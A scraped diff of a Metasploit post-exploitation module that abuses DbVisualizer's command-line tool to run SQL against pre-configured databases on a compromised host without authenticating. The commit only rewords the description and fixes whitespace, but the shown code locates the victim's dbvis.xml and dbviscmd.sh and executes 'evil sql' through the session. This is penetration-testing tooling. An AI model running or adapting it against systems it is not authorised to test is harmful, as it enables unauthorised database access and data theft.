@@ -13,12 +13,15 @@ class Metasploit3 < Msf::Post
13
13
14
14
def initialize ( info = { } )
15
15
super ( update_info ( info ,
16
- 'Name' => 'Multi Manage Dbvis Query' ,
16
+ 'Name' => 'Multi Manage DbVisualizer Query' ,
17
17
'Description' => %q{
18
- Dbvisulaizer offers a command line functionality to execute SQL pre-configured databases (With GUI).
19
- The remote database can be accessed from the command line without the need to authenticate.
20
- Attention, backslash quotes and your (stacked or not) queries should end with ;
21
- The module abuses this functionality to query the remote database and store the result.
18
+ Dbvisulaizer offers a command line functionality to execute SQL pre-configured databases
19
+ (With GUI). The remote database can be accessed from the command line without the need
20
+ to authenticate, and this module abuses this functionality to query and will store the
21
+ results.
22
+
23
+ Please note: backslash quotes and your (stacked or not) queries should
24
+ end with a semicolon.
22
25
} ,
23
26
'License' => MSF_LICENSE ,
24
27
'Author' => [ 'David Bloom' ] , # Twitter: @philophobia78
@@ -56,7 +59,7 @@ def exist_and_supported()
56
59
if ( user =~ /root/ )
57
60
user_base = "/root/"
58
61
else
59
- user_base = "/home/#{ user } /"
62
+ user_base = "/home/#{ user } /"
60
63
end
61
64
dbvis_file = "#{ user_base } .dbvis/config70/dbvis.xml"
62
65
when /win/
@@ -78,7 +81,7 @@ def exist_and_supported()
78
81
print_error ( "File not found: #{ dbvis_file } " )
79
82
return
80
83
end
81
- old_version = true
84
+ old_version = true
82
85
end
83
86
84
87
print_status ( "Reading : #{ dbvis_file } " )
@@ -91,18 +94,18 @@ def exist_and_supported()
91
94
return
92
95
end
93
96
94
- db_found = false
95
- alias_found = false
96
- db_type = nil
97
- db_type_ok = false
97
+ db_found = false
98
+ alias_found = false
99
+ db_type = nil
100
+ db_type_ok = false
98
101
99
102
# fetch config file
100
103
raw_xml . each_line do |line |
101
104
102
105
if line =~ /<Database id=/
103
106
db_found = true
104
107
elsif line =~ /<\/ Database>/
105
- db_found = false
108
+ db_found = false
106
109
end
107
110
108
111
if db_found == true
@@ -141,7 +144,7 @@ def find_dbviscmd
141
144
case session . platform
142
145
when /linux/
143
146
dbvis = session . shell_command ( "locate dbviscmd.sh" ) . chomp
144
- if dbvis . chomp == ""
147
+ if dbvis . chomp == ""
145
148
print_error ( "dbviscmd.sh not found" )
146
149
return nil
147
150
else
@@ -164,7 +167,7 @@ def find_dbviscmd
164
167
#Browse program content to find a possible dbvis home
165
168
dirs . each do |d |
166
169
if ( d =~ /DbVisualizer[\S +\s +]+/i )
167
- dbvis_home_dir = d
170
+ dbvis_home_dir = d
168
171
end
169
172
end
170
173
if dbvis_home_dir . blank?
@@ -183,14 +186,14 @@ def find_dbviscmd
183
186
184
187
# Query execution method
185
188
def dbvis_query ( dbvis , sql )
186
- error = false
187
- resp = ''
188
- if file? ( dbvis ) == true
189
+ error = false
190
+ resp = ''
191
+ if file? ( dbvis ) == true
189
192
f = session . fs . file . stat ( dbvis )
190
193
if f . uid == Process . euid or Process . groups . include? f . gid
191
194
print_status ( "Trying to execute evil sql, it can take time ..." )
192
195
args = "-connection #{ datastore [ 'DBALIAS' ] } -sql \" #{ sql } \" "
193
- dbvis = "\" #{ dbvis } \" "
196
+ dbvis = "\" #{ dbvis } \" "
194
197
cmd = "#{ dbvis } #{ args } "
195
198
resp = cmd_exec ( cmd )
196
199
print_line ( "" )
0 commit comments